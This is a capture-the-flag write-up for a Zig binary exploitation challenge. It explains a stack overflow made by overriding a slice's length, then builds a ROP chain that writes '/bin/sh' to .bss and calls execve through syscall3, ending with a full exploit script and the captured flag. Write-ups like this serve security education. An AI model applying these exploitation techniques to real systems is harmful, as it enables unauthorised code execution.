"Sometimes rust is just a little too safe for me." We are provided with an x86_64 ELF executable and its corresponding Zig source code. There is also a dummy flag file and Dockerfile that can be used to construct a functioning mirror of the remote. I never bothered with this docker image while testing, opting to simply debug the executable and test various inputs with sploit. The program is a very simple Zig file: ``` const std = @import("std"); const print = std.debug.print; pub fn main() void { print("you can never have too much zip pwn.\n", .{}); var backing: [0x100]u8 = undefined; var buf: []u8 = &backing; buf.len = 0x1000; _ = std.io.getStdIn().read(buf) catch {}; } ``` RE -- The program appears to attempt to read up to 0x1000 bytes into a buffer of size 0x100. If my understanding of the Zig API involved is correct, the language's stdin.read() is still trying to do a properly bounded read, but the challenge author has thwarted that by making a "cast" of the backing memory area (called `buf`) with its size information overridden. This should allow us to smash the stack by overrunning the area allocated for `backing` (the actual stack-based memory) when main calls stdin.read(buf). I analyzed the main() function in ghidra - here is a truncated view of what happens. First, "you can never have..." is printed; then the space for `backing` is initialized to all 0xaa bytes. The read at the end is shown: ``` uStack_168 = 0xaaaaaaaaaaaaaaaa; backing[0] = 0xaa; backing[1] = 0xaa; backing[2] = 0xaa; backing[3] = 0xaa; backing[4] = 0xaa; backing[5] = 0xaa; backing[6] = 0xaa; backing[7] = 0xaa; buf.ptr = (u8 *)0x1000; getStdIn(); buf.len._4_4_ = (undefined4)buf.len; read((int)local_18,&local_180,(size_t)((long)&buf.len + 4)); // ! return; } ``` That read() call is to an instance method on the stdin object obtained with `getStdIn()`. Since I'm not at all familiar with the Zig standard library, I didn't originally trace the calls down to the actual read system call. Instead, I tried feeding the program a large de Bruijn sequence and looking for a crash. When catching a crash this way, you just need to check what address RIP tried to jump to and search the original input for that bit pattern. Since the input sequence should have no duplicate substrings, we can unambiguously determine the offset at which to place an attacker-controlled return address to gain execution. Using this method, I determined the necessary offset to be 360 bytes. Just to confirm, if we feed this basic sploit payload into the program, we should get main to "return" into 0xdeadbeef (and crash). io.writeline(Payload()(padlen(360), 0xdeadbeef)()) I had planned at this point to construct a ROP chain to call into libc and obtain a shell on the remote. However, on a quick glance of the binary we can see that not only is this a statically linked executable, but Zig doesn't appear to lean on the C runtime library at all. So, a different path to exec() would need to be found. I will also point out here that the executable is also compiled as non-PIC, but I did not realize that at this point. I proceeded to construct my ROP chain under the assumption that ASLR was randomizing the location of my non-.text sections. I know, that sounds odd in hindsight, but that should explain how and why I was trying to load the string for "/bin/sh" from a stack address in the way that I was. ROP === As stated above, we have a different set of standard library functions compiled into the program as you might expect with libc. There is no function for execve() or similar, however there are some generic syscall functions. I attempt to call syscall3() in this way: syscall3(59, binsh_ptr, 0, 0) //execve("/bin/sh", NULL, NULL) 59 is the syscall number for execve() on linux x86_64, and while the last two arguments aren't "supposed" to be NULL, we can set them that way without breaking anything. Since this isn't based on a libc, there is no "/bin/sh" string in memory that we can just search for and point to. The bytes need to be loaded by our attack somehow. We can trivially place them on the stack - just include the string directly in the response we send to read(). However, we don't know the location of the stack in memory and would have to leak the string's address. Loading arbitrary stack memory (unnecessary) ============================================ I searched for any gadget that would be useful for mov-ing the current stack pointer address into some other register. This way I could implant "/bin/sh" on the stack payload (as described above) then grab a reference to it to use later in the ROP chain. If you pair such a gadget with another one that makes a pop or two into unrelated registers, you can nudge the stack pointer past this string data and continue on executing your ROP. The only potentially useful gadgets like this involved a `mov rbp, rsp` instruction - the problem with all of them is that they were each part of a function epilogue that does `pop rbp; ret` at the end, overwriting our saved stack address. Some other gadgets did the same initial mov and involved an `xchg rbp, *`. These looked promising, but each ended up being unviable for one reason or another. I eventually realized what I mentioned earlier in this writeup: the file is non-PIC, so we have reliable runtime addresses for sections like .data and .bss. It was this realization that allowed me to construct my final ROP chain. ROP (for real) ============== I have a known writable location in memory that I can use - that being the start of the .bss section. Since I don't mind crashing the process after getting the flag, my payload can freely use this space to house any data it needs. I'll store the string "/bin/sh\x00" here. sploit has a feature for incorporating arbitrary memory access into ROP chains, but I did need to manually find a gadget for it to use. This was found using r2 in sploit's gadget search: Gadget(0x10bb81a, 'mov qword [rdx], rdi; xor eax, eax; ret') AKA: If I can get values into rdi and rdx, this gadget will write the bytes encoded in rdi, into the memory location pointed to by rdx. eax is also set to zero, this is just a random side-effect of executing this gadget, and should be accounted for by the rest of the ROP chain. In my solution script, I needed to manually identify a couple other "register controlling" gadgets too. You'll see those in the solution below. The main job of my exploit script is fairly straightforward at this point - just produce a single payload with the following ROP: - 360 padding bytes - write "/bin/sh\x00" to address 0x10d8000 (.bss) - setup registers to call syscall3(59, 0x10d8000, 0, 0) When the exec completes, we will have an interactive shell on the system and can just cat the flag file. See my full nsploit script below. amateursCTF{i_love_zig_its_my_favorite_language_and_you_will_never_escape_the_zig_pwn_ahahaha} ``` from nsploit.rev import * from nsploit.tech import * elf = ELF("./chal") rop = ROP(elf) straddr = elf.sym.sect['.bss'] elf.sym.rdi = GadHint(0x10c3470, pops=['rdi','rbp']) elf.sym.rsi = GadHint(0x10cec9e, pops=['rsi','rbp']) elf.sym.www = GadHint(0x10bb81a, writes={'rdx':'rdi'}, imms={'rax':0}) payload = Payload() payload.pad = padlen(360) payload.binsh = rop.memcpy(straddr, b"/bin/sh\x00") payload.shell = rop.call(elf.sym['os.linux.x86_64.syscall3'], 59, straddr, 0, 0) print(payload) io.writeline(payload()) io.interact() ```